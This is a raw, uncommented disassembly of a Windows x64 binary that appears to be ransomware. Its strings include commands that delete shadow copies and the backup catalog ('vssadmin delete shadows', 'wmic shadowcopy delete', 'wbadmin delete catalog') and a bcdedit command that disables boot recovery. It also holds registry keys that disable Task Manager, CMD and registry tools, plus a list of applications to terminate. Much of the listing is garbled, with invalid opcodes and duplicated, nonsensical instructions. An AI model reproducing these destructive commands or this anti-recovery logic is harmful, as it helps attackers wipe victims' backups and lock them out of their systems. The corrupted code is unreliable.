mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x40], 0
mov r12, qword [rbp + 0x38]
je 0x140034c3e
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x2e8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rbp + 0xa0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x73], cl
mov al, 0
add byte [rax], al
mov r9, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0x458]
mov rdx, qword [rbp + 0x2d8]
mov r8, rbx
mov eax, ebx
mov eax, ebx
call fcn.1400965a0
test rax, rax
je 0x140034c8e
invalid
mov rdi, rax
mov r15b, 2
cmp qword [rbp + 0xa8], 0
je 0x140034c89
mov rcx, qword [0x1400f91f8]
or al, 0
xor edx, edx
mov r8, rbx
fdivr st(7)
adc eax, 0x7b77f
mov rbx, rdi
jmp 0x140034cbd
lea rdi, [rbp + 0xa8]
call 0x14007c320
jbe 0x140034c9d
add bl, dh
movq mm0, qword [rdi]
add byte [rax], al
add al, ch
xchg byte [rsi + 4], dh
jbe 0x140034c9d
jbe 0x140034c9d
add bl, dh
movq mm0, qword [rdi]
invalid
movdqa xmmword [rbp + 0x70], xmm0
movzx r15d, byte [rbp + 0xb8]
invalid
add byte [rax], al
invalid
jo 0x140034ce8
movzx edi, byte [rbp + 0xb8]
mov eax, 0x8b000000
test dword [rcx - 0x77000000], edi
push r8
mov eax, dword [rbp + 0xb9]
mov dword [rbp + 0x50], eax
mov eax, dword [rbp + 0xbc]
mov dword [rbp + 0x53], eax
push r11
mov esp, 0x89000000
push r11
cmp qword [rbp + 0x448], 0
mov rdi, qword [rbp + 0x440]
je 0x140034ce0
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rbp - 0x77], cl
loopne 0x140034cda
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x7b728
cmp qword [rbp + 0x2a0], 0
je 0x140034cfd
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x68]
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
ror byte [rbx + rcx*4 + 0x45], cl
push 0xffffffffb70b15ff
invalid
cmp r15b, 2
jne 0x140034d4c
invalid
mov rcx, rbx
mov rcx, rbx
call fcn.140007da0
mov r13, rax
test rdi, rdi
je 0x140034d29
xchg ebp, eax
xor ch, bh
dec dword [rcx - 0x77]
invalid
mov rcx, qword [0x1400f91f8]
fiadd word [rsp + rcx]
xor edx, edx
mov r8, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_HeapFree]
lea r12, [0x1400b0c00]
test r14, r14
test byte [rbx + rcx*4 - 0x43], 0x70
add al, 0
add byte [rbx + rcx*4 - 0x7b], cl
push rax
add al, 0
add byte [rdi], cl
test dword [rsi - 0x16ffffd7], esp
add cl, ch
mov r15, qword [rbp + 0x470]
mov r8, qword [rbp + 0x450]
jne 0x1400376ed
invalid
add cl, ch
jmp 0x1400376fc
mov al, 0x29
add byte [rax], al
invalid
add byte [rdi], cl
sub byte [rbp + 0x70], al
movaps xmm0, xmmword [rbp + 0x70]
movaps xmmword [rbp + 0x2f0], xmm0
mov eax, dword [rbp + 0x50]
mov ecx, dword [rbp + 0x53]
mov dword [rbp + 0x173], ecx
mov dword [rbp + 0x170], eax
mov byte [rsi + 0x40], 1
mov qword [rsi + 0x20], rbx
movaps xmm0, xmmword [rbp + 0x2f0]
sub byte [rbp + 0x2f0], al
add byte [rcx + 0x17085], cl
add dh, al
add dword [rax - 0x77], ecx
add dword [rax - 0x77], ecx
pop rsi
and byte [rdi], cl
sub byte [rbp + 0x2f0], al
test eax, esi
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x28], eax
movups xmmword [rsi + 0x28], xmm0
mov byte [rsi + 0x38], r15b
jle 0x140034db8
mov eax, dword [rbp + 0x170]
mov ecx, dword [rbp + 0x173]
lea esi, [rbx + 1]
add byte [rax], al
lea esi, [rbx + 1]
add byte [rax], al
mov dword [rsi + 0x39], eax
mov dword [rsi + 0x3c], ecx
test rdi, rdi
je 0x140034dad
cmp dword [rcx - 0x7ab7c3b2], ecx
push qword [rsi + rdx + 0x48]
mov rcx, qword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x458]
add bh, bh
adc eax, 0x7b65b
invalid
invalid
add bh, bh
adc eax, 0x7b65b
invalid
invalid
invalid
test r14, r14
mov r15, qword [rbp + 0x470]
je 0x140034dcf
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x450]
add al, 0
add bh, bh
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x7b639
add byte [rax - 0x73], cl
pop rsi
mov byte [rsi + 0x48], 0
lea rbx, [rsi + 0x48]
mov byte [rsi + 0x48], 0
mov r14, qword [rbp + 0x98]
add byte [rax], al
add dh, al
mov byte [rsi + 0x49], 0
movzx eax, byte [0x1400f92c0]
mov byte [rsi + 0x49], 0
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
leave
leave
jne 0x140034e0e
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037115
cmc
mov ch, 7
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
adc dword [rbx], esp
add byte [rax], al
mov rcx, rax
mov qword [0x1400f91f8], rax
ror dword [rax - 0x77], 5
invalid
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
add byte [rcx], dh
sar bh, cl
adc eax, 0x7b5dc
test rax, rax
je 0x140037115
and al, byte [rax]
add byte [rdi], cl
adc byte [0x1400bb9b8], al
movups xmm0, xmmword [0x1400bb9b8]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.C:WindowsSystem32_vssadmin.exeShadows_All_QuietDelete]
or byte [rax], al
or byte [rax], al
movdqu xmmword [rax], xmm0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 0x20
mov qword [rbp + 0xe0], 0x20
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test eax, ebp
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test eax, ebp
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x130], 8
xor byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0x100], 0
mov word [rbp + 0x108], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x138], xmm0
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rsi - 0x39], ah
test dword [rax], ecx
add dword [rax], eax
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x140034e17
cmp byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x128], 2
mov dword [rbp + 0x160], 0
mov word [rbp + 0x164], 0
mov dword [rbp + 0xa0], 6
mov dword [rbp + 0xb0], 6
add byte [rax], al
invalid
add byte [rax], al
add bh, al
test eax, eax
add byte [rax], al
add byte [rsi], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 1], ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x158], 0
mov byte [rbp + 0x168], 0
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1400bb9d9]
lea rdi, [rbp + 0xa0]
mov r8d, 6
mov rcx, rdi
call fcn.1400969c0
lea rdx, [0x1400bb9c8]
mov r8d, 7
mov rcx, rdi
call fcn.1400969c0
lea rdx, [0x1400bb9cf]
mov r8d, 4
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.1400969c0
lea rdx, [0x1400bb9d3]
add byte [rcx - 0x48], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.1400969c0
jp 0x140034f5e
invalid
add byte [rbx + 0xb085], cl
add byte [rbx + 0x127204f8], al
add byte [rcx - 0x48], al
invalid
jp 0x140034f5e
invalid
cmp eax, 6
je 0x140034f63
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.kernel32.dll_CloseHandle]
adc eax, 0x7b45d
mov dword [rbp + 0xb0], 2
mov eax, dword [rbp + 0xc0]
cmp eax, 4
jb 0x140034f8a
cmp eax, 6
je 0x140034f8a
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ah, 7
invalid
mov ah, 7
add bh, al
test eax, eax
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x160], 0x8000000
mov dword [rbp + 0xc0], 2
add byte [rax], al
mov dword [rbp + 0x160], 0x8000000
add dword [rax], eax
add byte [rax], al
add byte [rax], al
or byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x2f0]
lea rdx, [rbp + 0xa0]
call fcn.14009a530
mov rdi, qword [rbp + 0x2f0]
cmp rdi, 3
add esi, dword [rbp + 0x6c]
add esi, dword [rbp + 0x6c]
mov rdi, qword [rbp + 0x2f8]
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140034ff1
invalid
sbb edi, edi
adc eax, 0x7b412
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037104
invalid
invalid
and dword [rax], eax
invalid
test byte [0x188035009], bl
mov ecx, eax
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
mov eax, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037104
mov r13, rax
mov qword [rax], rdi
lea rcx, [rbp + 0xa0]
call fcn.14000aca0
xchg byte [rbp + rdi*8 - 1], bl
xchg byte [rbp + rdi*8 - 1], bl
mov byte [rsi + 0x49], 1
lea r12, [0x1400b0c00]
jmp 0x1400377e4
invalid
add byte [rax], al
invalid
mov r12, rbx
mov rbx, qword [rbp + 0x2f8]
add byte [rax], al
add byte [rax], al
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x180]
mov r8d, 0x118
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], rbx
lea rcx, [rbp + 0x170]
call fcn.14000b760
cmp dword [rbp + 0x1d8], 2
jne 0x14003514f
cmp dword [rbp + 0x218], 2
add al, byte [rax]
add byte [rdx], al
mov rbx, r12
jne 0x14003516b
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x258bd], al
cmp dword [rbp + 0x258], 2
add al, byte [rax]
add byte [rdx], al
je 0x140035099
lea rcx, [rbp + 0x258]
call fcn.14000b8e0
lea rcx, [rbp + 0xa0]
call fcn.14000aca0
mov byte [rsi + 0x49], 1
lea rax, str.wmicshadowcopydelete
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 4
lea rax, [0x1400bbb80]
mov ebp, 0x4800086a
mov dword [rsi + 0x60], eax
mov ebp, 0x4800086a
mov dword [rsi + 0x60], eax
mov qword [rsi + 0x68], 2
mov byte [rsi + 0x70], 0
add byte [rax - 0x73], cl
push rsi
push rax
add byte [rax - 0x73], cl
push rsi
push rax
lea rcx, [rbp + 0x2f0]
call fcn.14002e730
cmp qword [rbp + 0x2f0], 0
je 0x1400350f4
dec dword [rax - 0x7d]
mov ebp, 0x2f0
add byte [rdi + rax - 0x50], dh
add al, 0xe9
invalid
mov al, 4
jmp 0x1400379b8
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400377dd
lea rax, str.wbadmincatalog_quiet
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 7
lea rax, [0x1400bbbb8]
invalid
push 8
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsi + 0x68], 3
mov byte [rsi + 0x70], 0
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
call fcn.14002e730
cmp qword [rbp + 0x2f0], 0
je 0x140035189
invalid
mov al, 5
jmp 0x1400379b8
lea rcx, [rbp + 0x1d8]
call fcn.14000b8e0
cmp dword [rbp + 0x218], 2
mov rbx, r12
je 0x140035084
lea rcx, [rbp + 0x218]
call fcn.14000b8e0
imul esp, dword [rdi - 3], 0x58bd83ff
add al, byte [rax]
add byte [rdx], al
imul esp, dword [rdi - 3], 0x58bd83ff
add al, byte [rax]
add byte [rdx], al
jne 0x14003508d
jmp 0x140035099
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400377dd
lea rax, str.bcdedit_setdefaultbootstatuspolicyignoreallfailures
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 7
lea rax, [0x1400bbc20]
insd dword [rdi], dx
push 8
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsi + 0x68], 4
mov byte [rsi + 0x70], 0
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
insd dword [rdi], dx
push 8
add byte [rax - 0x77], cl
invalid
call fcn.14002e730
cmp qword [rbp + 0x2f0], 0
je 0x1400351e4
mov al, 6
jmp 0x1400379b8
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400377dd
lea rax, str.bcdedit_setdefaultbootstatuspolicyignoreallfailures
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 7
lea rax, [0x1400bbc78]
push 0x6a
or byte [rax], al
push 0x6a
or byte [rax], al
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 4
mov byte [rsi + 0x70], 0
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
call fcn.14002e730
cmp qword [rbp + 0x2f0], 0
cmp dword [rbp + 0x2f0], 0
je 0x14003523f
mov al, 7
jmp 0x1400379b8
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400377dd
invalid
invalid
add byte [rax], al
lea rax, str.C:Program_FilesProcess_Hacker_2ProcessHacker.exe
mov qword [rsi + 0x50], rax
lea rcx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x58], rcx
jmp 0x14003772a
and al, 0
invalid
test rcx, rcx
je 0x1400352cd
lea rdi, [rax - 1]
mov r14, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je case.0x1400279e4.270
cmp qword [r15 + 0x10], 0x11
cmp dword [rdi + 0x10], 0x11
jb 0x1400352a9
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
cmp qword [rbp + 0xa8], 0
je 0x1400352e9
mov rcx, qword [0x1400f91f8]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x7b11f
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x7b11f
call fcn.1400641b0
mov rdi, rax
mov dword [rbp + 0x2f8], 0
mov qword [rbp + 0x2f0], 0
lea rdx, [rbp + 0x2f0]
mov r8d, 0xc
or al, 0
add byte [rax], al
or al, 0
add byte [rax], al
mov rcx, rax
call fcn.140064880
mov eax, dword [rbp + 0x2f0]
mov ecx, dword [rbp + 0x2f3]
mov dword [rbp + 0x2ab], ecx
add byte [rax], al
add byte [rax], al
mov dword [rbp + 0x2a8], eax
mov r12d, dword [rbp + 0x2f7]
movzx r13d, byte [rbp + 0x2fb]
dec qword [rdi]
jne 0x14003535f
dec qword [rdi + 8]
jne 0x14003535f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, [0x1400b24c4]
lea rcx, [rbp + 0x170]
mov r8d, 0xb
call fcn.140081750
cmp byte [rbp + 0x188], 3
jne 0x140037570
mov rbx, qword [rbp + 0x170]
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0x468], rax
add al, 0
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], 0
add byte [rax - 0x39], cl
and al, 0x20
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
jmp 0x14003537e
invalid
add byte [rax - 0x73], cl
invalid
lock add al, byte [rax]
add byte [rax - 0x77], cl
invalid
call fcn.1400863b0
mov r14, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x300]
lea rdx, [0x1400b8575]
lea rcx, [rbp + 0xa0]
mov r8d, 0xf
call fcn.14000f9e0
mov rdi, qword [rbp + 0xa0]
mov rax, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x170]
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.1400863b0
cmp qword [rbp + 0xa8], 0
jne 0x140035e1b
add al, 0
add byte [rbx + rcx*4 - 0x7b], cl
add byte [rcx], 0
add byte [rax - 0x39], cl
and al, 0x20
invalid
shl r13, 0x20
cmp qword [rbp + 0x2f8], 0
jne 0x140035e3f
or r12, r13
cmp qword [rbp + 0x468], 0
je 0x14003544e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [rbp + 0x2a8]
mov ecx, dword [rbp + 0x2ab]
mov dword [rbp + 0xa3], ecx
mov dword [rbp + 0xa0], eax
mov dword [rbp + 0xa7], r12d
mov rax, r12
shr rax, 0x20
mov byte [rbp + 0xab], al
mov qword [rbp + 0x2f0], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x2f8], xmm0
xor edi, edi
lea rbx, [rbp + 0x2f0]
mov r8d, 0x18
mov rcx, rbx
xor edx, edx
call fcn.1400aae70
mov edx, 0x110000
lea r14, [0x1400e76e3]
jmp 0x1400354c9
mov r15d, 0x110000
mov rcx, rbx
call fcn.140010480
mov edx, r15d
cmp edx, 0x110000
jne 0x1400354b8
cmp rdi, 0xc
je 0x1400354f6
movzx eax, byte [rbp + rdi + 0xa0]
inc rdi
mov ecx, eax
and ecx, 0xf
shr eax, 4
movzx edx, byte [rax + r14]
movzx r15d, byte [rcx + r14]
jmp 0x1400354be
mov rbx, qword [rbp + 0x2f0]
mov r15, qword [rbp + 0x2f8]
mov r9, qword [rbp + 0x300]
mov r14, qword [rbp + 0x170]
mov rdx, qword [rbp + 0x180]
mov rcx, r14
mov r8, rbx
call fcn.140082f20
mov rdi, rax
cmp qword [rbp + 0x178], 0
je 0x140035543
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
je 0x140036003
test r15, r15
je 0x140035563
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
mov eax, ebx
mov eax, ebx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rdi
call fcn.140007da0
mov r13, rax
lea r12, [0x1400b0c00]
mov r15, qword [rbp + 0x470]
jmp 0x1400377ef
mov r13, qword [rbp + 0x178]
lea rdx, str._i_r_
lea rcx, [rbp + 0x2f0]
mov r8d, 3
call fcn.14001a690
mov rbx, qword [rbp + 0x2f0]
mov r8, qword [rbp + 0x300]
add byte [rbx], al
add byte [rax], al
add byte [rbx], al
add byte [rax], al
lea rcx, [rbp + 0x170]
mov rdx, rbx
call fcn.140023990
jrcxz case.0x140028086.78
dec dword [rax - 0x75]
mov ebp, 0x170
jrcxz case.0x140028086.78
dec dword [rax - 0x75]
mov ebp, 0x170
test rdi, rdi
je 0x14003604b
mov qword [rbp + 0x458], r13
mov r8, qword [rbp + 0x180]
mov r13, qword [rbp + 0x178]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call fcn.1400238a0
test r13, r13
je 0x140035606
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x2f8], 0
je 0x140035622
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmmword [rbp + 0x300], xmm7
movups xmmword [rbp + 0x2f0], xmm6
lea rax, [0x1400d69d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x50], 0x6400000
mov qword [rsp + 0x48], 4
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x28], 4
lea rcx, [rbp + 0x170]
lea rdx, [rbp - 0x20]
lea r8, [rbp + 0x2f0]
lea r9, [rbp + 0x8c]
call fcn.14001e9a0
mov r13, qword [rbp + 0x170]
test r13, r13
jne 0x140033c2c
mov rbx, qword [rbp + 0x468]
add rbx, r15
add rbx, qword [rbp + 0x458]
add byte [rax], al
add byte [rax], al
add rbx, qword [rbp + 0x178]
lea rdx, [rbp + 0x8c]
mov rdi, qword [rbp + 0x450]
mov rcx, rdi
call fcn.1400080f0
mov qword [rsi + 0x60], rdi
mov qword [rsi + 0x68], rbx
mov byte [rsi + 0xb8], 0
mov r15, qword [rbp + 0x470]
mov r14, qword [rbp + 0x98]
lea rdi, [rsi + 0x60]
lea rcx, [rbp + 0x2f0]
mov rdx, rdi
mov r8, r14
call fcn.14002f370
cmp qword [rbp + 0x2f0], 0
je 0x14003570a
mov al, 4
jmp 0x1400379bc
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
mov rcx, rdi
call fcn.14000bef0
test r13, r13
je 0x140035748
cmp qword [rsi + 0x50], 0
je 0x1400377ef
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400377ef
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140035774
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037126
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037126
mov rbx, rax
mov qword [rbp + 0x470], r15
mov byte [rsi + 0x40], 0
movdqu xmm0, xmmword [rsi + 0x20]
movdqu xmm1, xmmword [rsi + 0x30]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov r14, qword [rax]
mov r15, qword [rax + 0x10]
lea rcx, [rbp + 0x2f0]
mov rdx, r14
mov r8, r15
call fcn.140084cf0
cmp dword [rbp + 0x2f0], 2
jne 0x140035853
mov rax, qword [rbp + 0x2f8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
mov r15, qword [rbp + 0x470]
jb 0x140036302
test rcx, rcx
je 0x140036302
lea rdi, [rax - 1]
mov r15, qword [rax - 1]
mov r12, qword [rax + 7]
mov rcx, r15
call qword [r12]
cmp qword [r12 + 8], 0
je 0x140035835
cmp qword [r12 + 0x10], 0x11
jb 0x140035823
mov r15, qword [r15 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rbp + 0x470]
jmp 0x140036302
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x14003587f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140037350
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 3
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140037350
mov byte [rax + 2], 0x64
mov word [rax], 0x6d63
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 3
mov qword [rbp + 0x330], 3
mov byte [rbp + 0x338], 0
mov qword [rbp + 0x380], 8
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x350], 0
mov word [rbp + 0x358], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x388], xmm0
mov byte [rbp + 0x378], 2
mov dword [rbp + 0x3b0], 0
mov word [rbp + 0x3b4], 0
mov dword [rbp + 0x2f0], 6
mov dword [rbp + 0x300], 6
mov dword [rbp + 0x310], 6
mov qword [rbp + 0x398], 0
mov qword [rbp + 0x3a8], 0
lea rdx, [0x1400bb48b]
lea rcx, [rbp + 0x2f0]
mov r8d, 2
call fcn.1400969c0
lea rcx, [rbp + 0x170]
mov rdx, r14
mov r8, r15
call fcn.1400433d0
cmp qword [rbp + 0x170], 0
jne 0x140037403
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rcx
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x2a8], rax
lea rax, [0x1400514b0]
mov qword [rbp + 0x2b0], rax
lea rax, [0x1400bb498]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], 1
mov qword [rbp + 0x190], 0
lea rax, [rbp + 0x2a8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rcx, [rbp + 0x50]
lea rdx, [rbp + 0x170]
call fcn.1400407c0
mov rdi, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
lea rcx, [rbp + 0x2f0]
mov rdx, rdi
call fcn.1400969c0
cmp qword [rbp + 0x58], 0
je 0x140035a35
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rbp + 0xa0], 3
lea rcx, [rbp + 0x170]
lea rdx, [rbp + 0x2f0]
lea r8, [rbp + 0xa0]
xor r9d, r9d
call fcn.140086b60
mov r12, qword [rbp + 0x170]
mov rax, qword [rbp + 0x180]
cmp rax, 2
je 0x140036376
mov rcx, qword [rbp + 0x178]
mov qword [rbp + 0x468], rcx
mov r15, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x1a0]
mov r9, qword [rbp + 0x1a8]
test rax, rax
je 0x140035ad6
mov qword [rbp + 0x450], rcx
mov rcx, qword [rbp + 0x188]
mov r13, r14
mov r14, rdx
mov rdi, rbx
mov rbx, r9
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x450]
mov r9, rbx
mov rbx, rdi
mov rdx, r14
mov r14, r13
mov qword [rbp + 0x70], 1
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x420], 1
movdqu xmmword [rbp + 0x428], xmm0
test r15, r15
mov qword [rbp + 0x450], r12
je 0x140035bac
test rcx, rcx
je 0x140035bf0
mov qword [rbp + 0x458], r9
mov byte [rbp + 0x467], 1
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x70]
call fcn.140092710
mov rax, qword [rbp + 0x170]
cmp rax, 3
je 0x1400375bd
mov rcx, qword [rbp + 0x178]
movups xmm0, xmmword [rbp + 0x180]
movups xmmword [rbp + 0x2b8], xmm0
movdqu xmm0, xmmword [rbp + 0x190]
movdqu xmmword [rbp + 0x2c8], xmm0
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], rcx
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x420]
mov rdx, qword [rbp + 0x458]
call fcn.140092710
mov rax, qword [rbp + 0x170]
cmp rax, 3
jne 0x140035c2e
mov r15, qword [rbp + 0x178]
jmp 0x1400361da
test rcx, rcx
je 0x1400361fd
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x420]
mov qword [rbp + 0x458], r9
mov rdx, r9
call case.0x140083fd6.132
cmp qword [rbp + 0x170], 0
jne 0x140037605
mov rcx, qword [rbp + 0x458]
mov r12, qword [rbp + 0x450]
jmp 0x140035c23
lea rcx, [rbp + 0x170]
lea r8, [rbp + 0x70]
mov qword [rbp + 0x458], rdx
call case.0x140083fd6.132
cmp qword [rbp + 0x170], 0
jne 0x140037640
mov r12, qword [rbp + 0x450]
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400361fd
mov rcx, qword [rbp + 0x178]
movups xmm0, xmmword [rbp + 0x190]
movups xmmword [rbp + 0xc0], xmm0
movdqu xmm0, xmmword [rbp + 0x180]
movdqu xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rcx
mov rax, qword [rbp + 0x2d0]
mov rcx, qword [rbp + 0xc8]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rcx
lea r15, [rbp + 0x28]
mov rdi, qword [sym.imp.kernel32.dll_WaitForMultipleObjects]
lea r12, [rbp + 0x170]
lea r13, [rbp + 0x2a8]
mov ecx, 2
mov rdx, r15
xor r8d, r8d
mov r9d, 0xffffffff
call rdi
cmp eax, 1
je 0x140035d07
test eax, eax
jne 0x140035e67
mov rax, qword [rbp + 0xa0]
test rax, rax
je 0x140035d79
